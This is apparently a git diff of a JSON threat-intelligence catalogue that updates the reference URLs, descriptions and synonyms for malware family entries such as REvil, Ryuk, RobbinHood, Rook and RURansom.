"https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ", "https://community.riskiq.com/article/3315064b", "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/", "https://www.bleepingcomputer.com/news/security/ransomware-threatens-to-reveal-companys-dirty-secrets/", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released", + "https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2022-05-01-revil-reborn-ransom.vk.cfg.txt", + "https://thehackernews.com/2022/03/ukrainian-hacker-linked-to-revil.html", "https://ke-la.com/easy-way-in-5-ransomware-victims-had-their-pulse-secure-vpn-credentials-leaked/", "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel", "https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment", + "https://www.flashpoint-intel.com/blog/revil-disappears-again/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", + "https://blog.morphisec.com/real-time-prevention-of-the-kaseya-vsa-supply-chain-revil-ransomware-attack", "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", "https://twitter.com/_alex_il_/status/1412403420217159694", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-travelex-demands-3-million/", + "https://www.secureworks.com/research/lv-ransomware", + "https://www.cyjax.com/2021/07/09/revilevolution/", + "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", "https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf", - "https://blog.gigamon.com/2021/07/08/observations-and-recommendations-from-the-ongoing-revil-kaseya-incident/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/", "https://twitter.com/Jacob_Pimental/status/1391055792774729728", "https://twitter.com/SophosLabs/status/1412056467201462276", "https://threatpost.com/ransomware-revil-sites-disappears/167745/", "https://searchsecurity.techtarget.com/feature/Ransomware-negotiations-An-inside-look-at-the-process", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://blog.morphisec.com/real-time-prevention-of-the-kaseya-vsa-supply-chain-revil-ransomware-attack", + "http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html", "https://www.bleepingcomputer.com/news/security/kaseya-obtains-universal-decryptor-for-revil-ransomware-victims/", "https://www.certego.net/en/news/malware-tales-sodinokibi/", - "https://www.secureworks.com/blog/revil-the-gandcrab-connection", + "https://www.grahamcluley.com/travelex-paid-ransom/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.europol.europa.eu/newsroom/news/five-affiliates-to-sodinokibi/revil-unplugged", + "https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya", "https://f.hubspotusercontent10.net/hubfs/7095517/FLINT-Kaseya-Another%20Massive%20Heist%20by%20REvil.pdf", "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://www.bankinfosecurity.com/interviews/ransomware-files-episode-6-kaseya-revil-i-5045", "https://www.appgate.com/blog/electric-company-ransomware-attack-calls-for-14-million-in-ransom", "https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-1-000-plus-companies-in-msp-supply-chain-attack/", "https://www.nytimes.com/2019/08/22/us/ransomware-attacks-hacking.html", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", "https://www.kaseya.com/potential-attack-on-kaseya-vsa/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/kaseya-ransomware-supply-chain", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", "https://areteir.com/wp-content/uploads/2020/07/Arete_Insight_Sodino-Ransomware_June-2020.pdf", "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-publishes-stolen-data-for-the-first-time/", + "https://www.connectwise.com/resources/revil-profile", "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", "https://www.goggleheadedhacker.com/blog/post/reversing-crypto-functions", "https://blag.nullteilerfrei.de/2020/02/02/defeating-sodinokibi-revil-string-obfuscation-in-ghidra/", + "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", "https://www.bleepingcomputer.com/news/security/a-look-inside-the-highly-profitable-sodinokibi-ransomware-business/", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", @@ -30280,7 +35826,9 @@ "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", "https://ke-la.com/darknet-threat-actors-are-not-playing-games-with-the-gaming-industry/", "https://twitter.com/R3MRUM/status/1412064882623713283", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", "https://blogs.blackberry.com/en/2021/05/threat-thursday-dr-revil-ransomware-strikes-again-employs-double-extortion-tactics", + "https://www.hsgac.senate.gov/media/minority-media/new-portman-report-demonstrates-threat-ransomware-presents-to-the-united-states", "https://www.domaintools.com/resources/blog/revealing-revil-ransomware-with-domaintools-and-maltego", "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", "https://www.crowdstrike.com/blog/how-crowdstrike-stops-revil-ransomware-from-kaseya-attack/", @@ -30294,20 +35842,23 @@ "https://twitter.com/SophosLabs/status/1413616952313004040?s=20", "https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-managedcom-hosting-provider-500k-ransom/", "https://blog.amossys.fr/sodinokibi-malware-analysis.html", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/", + "https://blog.gigamon.com/2021/07/08/observations-and-recommendations-from-the-ongoing-revil-kaseya-incident/", + "https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf", "https://twitter.com/LloydLabs/status/1411098844209819648", "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", "https://www.elastic.co/blog/elastic-security-prevents-100-percent-of-revil-ransomware-samples?utm_content=&utm_medium=social&utm_source=twitter", - "https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa", + "https://www.secureworks.com/blog/revil-development-adds-confidence-about-gold-southfield-reemergence?linkId=164334801", + "https://analyst1.com/file-assets/History-of-REvil.pdf", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://www.trendmicro.com/en_us/research/21/h/supply-chain-attacks-from-a-managed-detection-and-response-persp.html", + "https://home.treasury.gov/news/press-releases/jy0471", "https://securelist.com/ransomware-world-in-2021/102169/", "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://www.youtube.com/watch?v=tZVFMVm5GAk", "https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs", "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", "https://www.bleepingcomputer.com/news/security/revil-ransomwares-servers-mysteriously-come-back-online/", - "https://www.splunk.com/en_us/blog/security/kaseya-sera-what-revil-shall-encrypt-shall-encrypt.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/kaseya-ransomware-supply-chain", "https://www.bleepingcomputer.com/news/security/revil-ransomware-gang-claims-over-100-million-profit-in-a-year/", "https://unit42.paloaltonetworks.com/prometheus-ransomware/", "https://threatintel.blog/OPBlueRaven-Part1/", @@ -30316,7 +35867,10 @@ "https://ke-la.com/ransomware-gangs-are-starting-to-look-like-oceans-11/", "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo", "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin", + "https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/", "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", "https://securelist.com/sodin-ransomware/91473/", "https://www.flashpoint-intel.com/blog/chatter-indicates-blackmatter-as-revil-successor/", @@ -30325,10 +35879,11 @@ "https://www.splunk.com/en_us/blog/security/revil-ransomware-threat-research-update-and-detections.html", "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend", "https://medium.com/s2wlab/deep-analysis-of-revil-ransomware-written-in-korean-d1899c0e9317", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", + "https://redcanary.com/blog/uncompromised-kaseya/", + "https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/", "https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling", @@ -30339,53 +35894,71 @@ "https://www.youtube.com/watch?v=QYQQUUpU04s", "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", "https://www.kpn.com/security-blogs/Tracking-REvil.htm", "https://www.zscaler.com/blogs/security-research/kaseya-supply-chain-ransomware-attack-technical-analysis-revil-payload", "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://ke-la.com/will-the-revils-story-finally-be-over/", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-revil", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", "https://twitter.com/SyscallE/status/1411074271875670022", - "https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel", + "https://securityscorecard.com/research/a-detailed-analysis-of-the-last-version-of-revil-ransomware", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html", "https://www.bleepingcomputer.com/news/security/revil-ransomware-gangs-web-sites-mysteriously-shut-down/", "https://twitter.com/resecurity_com/status/1412662343796813827", "https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20", "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", + "https://www.netskope.com/blog/netskope-threat-coverage-revil", "https://tehtris.com/fr/peut-on-neutraliser-un-ransomware-lance-en-tant-que-system-sur-des-milliers-de-machines-en-meme-temps/", - "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-travelex-demands-3-million/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", "https://news.sophos.com/en-us/2021/06/30/mtr-in-real-time-hand-to-hand-combat-with-revil-ransomware-chasing-a-2-5-million-pay-day/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://securityintelligence.com/posts/sodinokibi-revil-ransomware-disrupt-trade-secrets/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", "https://www.cnbc.com/2021/04/23/axis-of-revil-inside-the-hacker-collective-taunting-apple.html", "https://www.youtube.com/watch?v=l2P5CMH9TE0", "https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f", "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/", + "https://www.bbc.com/news/technology-59297187", "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", "https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20", - "https://www.grahamcluley.com/travelex-paid-ransom/", + "https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021", "https://www.elastic.co/blog/ransomware-interrupted-sodinokibi-and-the-supply-chain", "https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/", "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "https://www.bleepingcomputer.com/news/security/kaseyas-universal-revil-decryption-key-leaked-on-a-hacking-forum/", "https://www.bleepingcomputer.com/news/security/fbi-revil-cybergang-behind-the-jbs-ransomware-attack/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", "https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/", + "https://www.bleepingcomputer.com/news/security/revils-tor-sites-come-alive-to-redirect-to-new-ransomware-operation/", "https://www.cybereason.com/blog/cybereason-vs-revil-ransomware-the-kaseya-chronicles", "https://www.secureworks.com/research/threat-profiles/gold-southfield", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://www.youtube.com/watch?v=P8o6GItci5w", "https://asec.ahnlab.com/ko/19640/", "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-to-stop-taking-bitcoin-to-hide-money-trail/", + "https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil", + "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", "https://teamt5.org/tw/posts/revil-dll-sideloading-technique-used-by-other-hackers/", + "https://news.sophos.com/en-us/2021/06/30/what-to-expect-when-youve-been-hit-with-revil-ransomware/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", "https://intel471.com/blog/changes-in-revil-ransomware-version-2-2", "https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html", "https://www.bleepingcomputer.com/news/security/revil-gang-tries-to-extort-apple-threatens-to-sell-stolen-blueprints/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/" ], "synonyms": [ "Sodin", @@ -30521,7 +36094,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun", "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf", "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/" ], "synonyms": [], "type": [] @@ -30534,6 +36108,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rms", + "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", "https://ics-cert.kaspersky.com/media/Kaspersky-Attacks-on-industrial-enterprises-using-RMS-and-TeamViewer-EN.pdf", "https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf", "https://blog.malwarebytes.com/threat-analysis/2017/09/cve-2017-0199-used-to-deliver-modified-rms-agent-rat/", @@ -30557,20 +36132,23 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.robinhood", "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", "https://www.bleepingcomputer.com/news/security/ransomware-exploits-gigabyte-driver-to-kill-av-processes/", + "https://www.sentinelone.com/blog/robinhood-ransomware-coolmaker-function-not-cool/", + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", "https://krebsonsecurity.com/2019/06/report-no-eternal-blue-exploit-found-in-baltimore-city-ransomware/", - "https://www.sentinelone.com/blog/robinhood-ransomware-coolmaker-function-not-cool/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://arstechnica.com/information-technology/2019/05/baltimore-city-government-hit-by-robbinhood-ransomware/", "https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/", "https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf", "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", "https://goggleheadedhacker.com/blog/post/12", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://twitter.com/VK_Intel/status/1121440931759128576", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", "https://www.bleepingcomputer.com/news/security/a-closer-look-at-the-robbinhood-ransomware/", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/" + "https://blogs.quickheal.com/a-new-ransomware-goodwill-hacks-the-victims-for-charity-read-more-to-know-more-about-this-ransomware-and-how-it-affects-its-victims/" ], "synonyms": [ "RobbinHood" @@ -30601,6 +36179,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/" ], "synonyms": [], @@ -30657,6 +36236,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat", "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://github.com/ssp4rk/slides/blob/master/2019SAS_Behind_of_the_Mask_of_ScarCruft.pdf", @@ -30715,6 +36295,25 @@ "uuid": "87a45a07-30d7-4223-ae61-6b1e6dde0f5a", "value": "Romeo(Alfa,Bravo, ...)" }, + { + "description": "Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.rook", + "https://seguranca-informatica.pt/rook-ransomware-analysis/", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/", + "https://www.sentinelone.com/labs/new-rook-ransomware-feeds-off-the-code-of-babuk/", + "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit.md", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5df87e9b-4fd1-4f48-92d7-416b7d83313f", + "value": "Rook" + }, { "description": "", "meta": { @@ -30779,6 +36378,7 @@ "https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/", "https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-RodionovMatrosov.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", "https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/", "https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/", "http://www.malwaretech.com/2014/05/rovnix-new-evolution.html", @@ -30834,6 +36434,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rozena", + "https://www.gdatasoftware.com/blog/2019/07/35061-server-side-polymorphism-powershell-backdoors", "https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena" ], "synonyms": [], @@ -30848,6 +36449,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm", "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://jonahacks.medium.com/malware-analysis-manual-unpacking-of-redaman-ec1782352cfb", "https://www.youtube.com/watch?v=YXnNO3TipvM", "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "http://www.peppermalware.com/2019/11/brief-analysis-of-redaman-banking.html", @@ -30868,7 +36470,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos", - "https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf" + "https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf", + "http://reversing.fun/posts/2022/01/30/rtpos.html" ], "synonyms": [], "type": [] @@ -30913,6 +36516,21 @@ "uuid": "b746a645-5974-44db-a811-a024214b7fba", "value": "running_rat" }, + { + "description": "RURansom shows characteristics of typical ransomware, but despite its name, TrendMicro's assumptions after analysis showed that this malware is more a wiper than ransomware, because the irreversible destruction of encrypted files.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ruransom", + "https://www.trendmicro.com/en_us/research/22/c/new-ruransom-wiper-targets-russia.html", + "https://blog.cyble.com/2022/03/11/new-wiper-malware-attacking-russia-deep-dive-into-ruransom-malware/", + "https://blogs.vmware.com/security/2022/04/ruransom-a-retaliatory-wiper.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bdcfb449-e897-4c44-a429-7665cce194fe", + "value": "RURansom" + }, { "description": "", "meta": { @@ -30936,6 +36554,7 @@ "http://sunbeltsecurity.com/dl/Rootkit%20Installation%20and%20Obfuscation%20in%20Rustock.pdf", "http://blog.threatexpert.com/2008/05/rustockc-unpacking-nested-doll.html", "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", + "https://darknetdiaries.com/episode/110/", "http://contagiodump.blogspot.com/2011/10/rustock-samples-and-analysis-links.html", "https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/chiang/chiang_html/index.html", "https://krebsonsecurity.com/2011/03/microsoft-hunting-rustock-controllers/", @@ -30961,7 +36580,9 @@ "https://www.hhs.gov/sites/default/files/bazarloader.pdf", "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", "https://www.carbonblack.com/blog/vmware-carbon-black-tau-ryuk-ransomware-technical-analysis/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", "https://www.splunk.com/en_us/blog/security/ryuk-and-splunk-detections.html", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://twitter.com/ffforward/status/1324281530026524672", "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", @@ -30983,6 +36604,7 @@ "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", "https://blog.virustotal.com/2020/10/tracing-fresh-ryuk-campaigns-itw.html", "https://www.scythe.io/library/threatthursday-ryuk", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://edition.cnn.com/2020/10/28/politics/hospitals-targeted-ransomware-attacks/index.html", "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", @@ -31000,6 +36622,7 @@ "https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/", "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://twitter.com/IntelAdvanced/status/1353546534676258816", "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", @@ -31012,6 +36635,7 @@ "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", "https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf", + "https://arcticwolf.com/resources/blog/karakurt-web", 